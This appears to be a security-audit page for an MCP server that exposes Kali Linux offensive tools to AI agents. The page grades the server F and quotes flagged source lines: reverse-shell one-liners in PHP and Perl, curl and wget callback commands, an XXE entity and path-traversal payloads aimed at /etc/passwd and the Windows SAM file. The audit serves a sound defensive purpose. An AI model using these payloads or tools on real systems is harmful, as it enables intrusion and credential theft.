KaliBLOCK
MCP server for Kali toolkit (docker) - 121 tools for AI-assisted security testing give agents access to all it needs!
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
Give an AI agent a full Kali Linux toolkit without installing one. The MCP client runs on your machine as a small Python package; every tool executes inside a Kali container that the client reaches over HTTP. Nmap, sqlmap, nuclei, impacket, Metasploit, pivoting, VPN and callback capture are all exposed as MCP tools.
[](LICENSE) [](https://www.python.org) []() [](https://hub.docker.com/r/kalilinux/kali-rolling)
Quick start · Essentials (jobs, files, VPN, targets) · Configuration · Troubleshooting · Tool modules · Image contents · Security · Development
Quick start
1. Start the Kali backend
docker run -d --name zebbern-kali --restart unless-stopped \ -p 127.0.0.1:5000:5000 \ --cap-add=NET_ADMIN --cap-add=NET_RAW --device=/dev/net/tun \ ghcr.io/zebbern/zebbern-kali-mcp:latest
NET_ADMIN, NET_RAW and /dev/net/tun are what OpenVPN and WireGuard need; without them vpn_connect fails whatever the config says. Add any of these flags for full parity with the Compose file:
-p 127.0.0.1:1080:1080— published SOCKS proxy--sysctl net.ipv4.ip_forward=1— pivoting and routing--shm-size=1g— headless Chrome; without itgowitnesswrites no screenshot-v zebbern-kali-tmp:/app/tmp— keep background-job logs across recreates-v "$(pwd)/vpn:/vpn:ro"— VPN configs from the host
From a source checkout, Compose does all of the above:
git clone https://github.com/zebbern/zebbern-kali-mcp.git cd zebbern-kali-mcp docker compose up -d # add --build to build the image locally
2.
4c3dfff4cd4dOBSERVED · 2026-10-08Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add zebbern-kali-mcp --env KALI_API_TOKEN=${KALI_API_TOKEN} -- uvx zebbern-kali-mcp{
"mcpServers": {
"zebbern-kali-mcp": {
"command": "uvx",
"args": [
"zebbern-kali-mcp"
],
"env": {
"KALI_API_TOKEN": "${KALI_API_TOKEN}"
}
}
}
}Exposed tools (135)
102 read · 27 write · 6 destructive. Blast radius: 6 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
ad_asreproast | read | |
ad_bloodhound_collect | read | |
ad_kerberoast | read | |
ad_ldap_enum | read | |
ad_password_spray | read | |
ad_psexec | read | |
ad_secretsdump | read | |
ad_smb_enum | read | |
ad_tools_status | read | Check which AD tools are available on the Kali server. |
ad_wmiexec | read | |
api_auth_bypass_test | read | |
api_ffuf_fuzz | read | |
api_fuzz_endpoint | read | |
api_graphql_fuzz | read | |
api_graphql_introspect | read | |
api_jwt_analyze | read | |
api_jwt_crack | read | |
api_kiterunner_scan | read | |
api_newman_run | write | |
api_nuclei_scan | read | |
api_rate_limit_test | read | |
callback_check | read | |
callback_clear | destructive | |
callback_generate | read | |
callback_latest | read | |
callback_list | read | |
callback_start | write | |
callback_status | read | |
callback_stop | write | |
callback_wait | read | |
ctf_connect | read | |
ctf_download_file | read | |
ctf_get_challenge | read | |
ctf_list_challenges | read | |
ctf_scoreboard | read | |
ctf_status | read | Check current CTF platform connection status. |
ctf_submit_flag | write | |
cve_package_audit | read | |
cve_search | read | |
exec_stream | write | |
exploit_copy | read | |
exploit_details | read | |
exploit_search | read | |
exploit_suggest_for_service | read | |
exploit_suggest_from_nmap | read | |
fingerprint_headers | read | |
fingerprint_url | read | |
fingerprint_waf | read | |
health | read | |
hosts_add | write | |
hosts_clear | destructive | |
hosts_list | read | |
hosts_remove | destructive | |
job_cancel | read | Cancel a running background job and its child process group. |
job_list | read | List background jobs the Kali server still tracks, newest first. |
job_output | read | Poll recent bounded stdout and stderr from a background job. |
job_status | read | Return state and exit metadata for a background command job. |
kali_download | read | |
kali_upload | write | |
msf_session_create | write | |
msf_session_destroy | destructive | |
msf_session_destroy_all | destructive | Destroy all active Metasploit sessions. |
msf_session_execute | write | |
msf_session_list | read | List all active Metasploit sessions. |
parse_tool_output | read | |
payload_generate | read | |
payload_host_start | write | |
payload_host_stop | write | Stop the payload hosting server. |
payload_list | read | List all generated payloads. |
payload_one_liner | read | |
payload_templates | read | |
pivot_add_pivot | write | |
pivot_chisel_client | read | |
pivot_chisel_server | read | |
pivot_generate_proxychains | read | |
pivot_ligolo_start | write | |
pivot_list_pivots | read | List all configured pivot points/routes. |
pivot_list_tunnels | read | List all active tunnels and port forwards. |
pivot_remove | destructive | |
pivot_socat_forward | read | |
pivot_ssh_dynamic | read | |
pivot_ssh_local | read | |
pivot_ssh_remote | read | |
pivot_stop_all_tunnels | write | Stop all active tunnels and port forwards. |
pivot_stop_tunnel | write | |
read_output | read | |
reverse_shell_command | read | |
reverse_shell_download_content | read | |
reverse_shell_generate_payload | read | |
reverse_shell_listener_start | write | |
reverse_shell_read_output | read | |
reverse_shell_send_input | write | |
reverse_shell_send_payload | write | |
reverse_shell_status | read | |
reverse_shell_stop | write | |
reverse_shell_upload_content | write | |
send_input | write | |
ssh_estimate_transfer | write | |
ssh_session_command | read | |
ssh_session_download_content | read | |
ssh_session_start | write | |
ssh_session_status | read | |
ssh_session_stop | write | |
ssh_session_upload_content | write | |
ssh_sessions | read | List all active SSH sessions. |
system_network_info | read | |
target_download_file | read | |
target_upload_file | write | |
tools_amass | read | |
tools_arjun | read | |
tools_assetfinder | read | |
tools_byp4xx | read | |
tools_crtsh | read | |
tools_enum4linux | read | |
tools_fierce | read | |
tools_gobuster | read | |
tools_gowitness | read | |
tools_httpx | read | |
tools_hydra | read | |
tools_john | read | |
tools_katana | read | |
tools_masscan | read | |
tools_nikto | read | |
tools_nmap | read | |
tools_sqlmap | read | |
tools_ssh_audit | read | |
tools_sslscan | read | |
tools_subfinder | read | |
tools_subzy | read | |
tools_waybackurls | read | |
tools_wpscan | read | |
vpn_connect | read | |
vpn_disconnect | read | |
vpn_status | read | |
zebbern_exec | write |
Trust audit
BLOCKgrade F · trust 46/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | FAIL |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (11 observation(s))
- Network
- declared (13 observation(s))
- Shell
- declared (6 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (25)
exploit.py
payload.py
f"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
f"open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\")}};'"
php_payload = f"php -r '$sock=fsockopen(\"{local_ip}\",{local_port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"timeout=30, verify=False)
verify=False,
verify=False
callback_url = f"{base_url}/cb/{tag}""callback_url": callback_url,
"command": f"curl -s {callback_url}","wget": f"wget -q -O- {callback_url}",f' <!ENTITY xxe SYSTEM "{callback_url}">\n'DEFAULT_KALI_SERVER = os.environ.get("KALI_API_URL", "http://127.0.0.1:5000")callback_clear, hosts_clear, hosts_remove, msf_session_destroy, msf_session_destroy_all, pivot_remove
.pylintrc
token_hash = hashlib.md5(token.encode()).hexdigest()[:8]
remote_host="10.1.0.5", remote_port=80, key_file="/root/id_rsa",
assert "-i" in cmd and "/root/id_rsa" in cmd
password="SUPERSECRET", key_file="/home/op/id_rsa",
assert "/home/op/id_rsa" in raw
assert stand_in.key_file == "/home/op/id_rsa"
"Content-Disposition": 'attachment; filename="../../escape.bin"',
assert es.exploit_suggester._resolve_exploit_path("../../etc/passwd") == """path_traversal": ["../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam"],
Gates applied: no_behavioural_pass.
4c3dfff4cd4dfull audit observations/trust-audit/mcp-server/zebbern__kali-2.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-08 | 4c3dfff4cd4d | BLOCK | F | 46 | first audit |
Questions
What is the Kali MCP server?
MCP server for Kali toolkit (docker) - 121 tools for AI-assisted security testing give agents access to all it needs!
What tools does Kali expose?
135 in total: 102 read-only, 27 that write, and 6 that can delete or overwrite (callback_clear, hosts_clear, hosts_remove, msf_session_destroy, msf_session_destroy_all). Every one is listed on this page with its risk.
Is Kali safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (46/100) and found 8 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 6 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does Kali need?
It reads KALI_API_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (4c3dfff4cd4d), read on 2026-10-08. The repository is watched and re-audited when it changes.